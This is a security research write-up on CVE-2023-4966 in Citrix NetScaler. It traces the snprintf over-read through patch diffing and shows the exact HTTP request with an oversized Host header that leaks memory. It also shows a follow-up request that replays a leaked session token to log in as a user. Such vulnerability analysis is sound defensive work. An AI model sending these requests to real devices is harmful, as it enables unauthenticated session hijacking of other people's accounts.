



Research Notes > Security Research

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Citrix Bleed: Leaking Session Tokens with CVE-2023-4966



Introduction

It's time for another round Citrix Patch Diffing! Earlier this month Citrix released a <u>security bulletin</u> which mentioned "unauthenticated buffer-related vulnerabilities" and two CVEs. These issues affected Citrix NetScaler ADC and NetScaler Gateway.

We were interested in CVE-2023-4966, which was described as "sensitive information disclosure" and had a CVSS score of 9.4. The high score for an

information disclosure vulnerability and the mention of "buffer-related vulnerabilities" piqued our interest. Our goal was to understand the vulnerability and develop a check for our <u>Attack Surface Management platform</u>.

For those unfamiliar with Citrix NetScaler, it is a network device providing load balancing, firewall and VPN services. NetScaler Gateway usually refers to the VPN and authentication components, whereas ADC refers to the load balancing and traffic management features. We have covered issues in NetScaler before here and here.

For those who want to just see the exploit or test for exposure, our proof-of-concept is available <u>here</u>. A demonstration of the script can be seen below.



Patch Diffing

We began by installing and configuring the two version we wanted to compare. We chose 13.1-49.15 and 13.1-48.47. From our previous work with NetScaler we knew to look in the /netscaler/nsppe binary. This is the NetScaler Packet Processing Engine and it contains a full TCP/IP network stack as well as multiple HTTP services. If there is a vulnerability in NetScaler, this is where we look first.

We decompiled the two versions of nsppe with Ghidra and used the <u>BinExport</u> extension to create a BinDiff file. This process takes a while as the binaries are quite large. To ensure success we tweaked the decompiler settings under Edit → Tool Options → Decompiler to the following.

- Cache Size (Functions): 2048
- Decompiler Max-Payload (Mbytes): 512
- Decompiler Timeout (seconds): 900
- Max Instructions per Function: 3000000

After creating the BinDiff files we opened them up for comparison and found roughly 50 functions had changed. We proceeded to check each one, often opening both versions in Ghidra and comparing the decompiled output with a text diffing tool.

Finding the Vulnerable Function

We found two functions that stood out ns_aaa_oauth_send_openid_config and ns_aaa_oauthrp_send_openid_config. Both functions perform a similar operation, they implement the OpenID Connect Discovery endpoint. The functions are both accessible unauthenticated via the /oauth/idp/.well-known/openid-configuration and /oauth/rp/.well-known/openid-configuration endpoints respectively.

Both functions also included the same patch, an additional bounds check before sending the response. This can be seen in the snippets below showing the before and after for ns_aaa_oauth_send_openid_config.

Original

Patched

The function is pretty simple, it generates a JSON payload for the OpenID configuration and uses snprintf to insert the device's hostname at the appropriate locations in the payload. In the original version, the response is sent immediately. In the patched version, the response is only sent if snprintf returns a value less than 0x20000.

The vulnerability occurs because the return value of snprintf is used to determine how many bytes are sent to the client by ns_vpn_send_response. This is a problem because snprintf does not return how many bytes it **did** write to the buffer, snprintf returns how many bytes it **would have** written to the buffer if the buffer was big enough.

To exploit this, all we needed to do was figure out how to get the response to exceed the buffer size of 0x20000 bytes. The application would then respond with the completely filled buffer, plus whatever memory immediately followed the print_temp_rule buffer.

Exploiting the Endpoint

Initially we thought the endpoint would probably not be exploitable. The only data that was inserted was the hostname, which is something that needed administrator access to configure. Luckily for us, we were wrong and the value inserted into the payload did not come from the configured hostname. It actually came from the HTTP Host header.

We were also fortunate that NetScaler inserts the hostname into the payload six times, as this meant we could hit the buffer limit of 0x20000 bytes without running into issues because either the Host header or the whole request was too long.

We put together the following request and sent it to our NetScaler instance.

```
GET /oauth/idp/.well-known/openid-configuration HTTP/1.1
Host: a <repeated 24812 times>
Connection: close
```

We received the response shown below with the non-printable characters removed.

```
HTTP/1.1 200 OK

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Content-Length: 147441
```

```
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-Citrix-Application: Receiver for Web
{"issuer": "https://aaaaa ...<omitted>... aaaaaaaaaaaaaaaí§;
í§;-ª¼tÙÌåDx013.1.48.47à
d98cd79972b2637450836d4009793b100c3a01f2245525d5f4f58455e445a4a4
Content-Length: @@@@@
Encode:@@@
Cache-control: no-cache
Pragma: no-cache
Content-Type: text/html
{"categories":[], "resources":[], "subscriptionsEnabled":false, "us
ð
å
å
PΪΪ
Ηi
éÒÏ
eGÁ"RDEFAULT
ò #pack200-gzip
compressdeflategzip
dentity
þÿÿÿÿÿ
©VPN GLOBALÿÿÿÿÿÿ è"AAA PARAMí
```

We could clearly see a lot of leaked memory immediately following the JSON payload. While a lot of it was null bytes, there was some suspicious looking

information in the response.

Verifying the Session Token

Since the print_temp_rule buffer is a static global, the response we get back is the same every time. This made testing easy as we did not have to run the request thousands of times in the hope of finding something. We were able to reliably grab the 65-byte long hex string we saw in the response and verify if it was a valid session cookie by using it as the NSC_AAAC session cookie.

```
POST /logon/LogonPoint/Authentication/GetUserName HTTP/1.1
Host: 192.168.1.51
Cookie: NSC_AAAC=59d2be99be7a01c9fb10110f42b188670c3a01f2245525c
Content-Length: 0
Connection: close

HTTP/1.1 200 OK
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 4
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
X-Citrix-Application: Receiver for Web

testuser1
```

Not every NetScaler instance is configured to use the same kind of authentication, but in almost all of the instances we have tested a 32 or 65 byte long hex string can be found at this location in the response.

Final Thoughts

Here we saw an interesting example of a vulnerability caused by not fully understanding snprintf. Even though snprintf is recommended as the secure version of sprintf it is still important to be careful. A buffer overflow was avoided by using snprintf but the subsequent buffer over-read was still an issue.

Like previous issues with Citrix NetScaler, the issue was made worse by a lack of other defense in depth techniques and mitigations. Not clearing sensitive data from what appear to be temporary buffers and stricter validation on client provided data being the two most obvious mitigations which could have been applied to minimise the damage.

As always, customers of our <u>Attack Surface Management platform</u> have been notified for the presence of this vulnerability. We continue to perform original security research in an effort to inform our customers about zero-day and N-day vulnerabilities in their attack surface.

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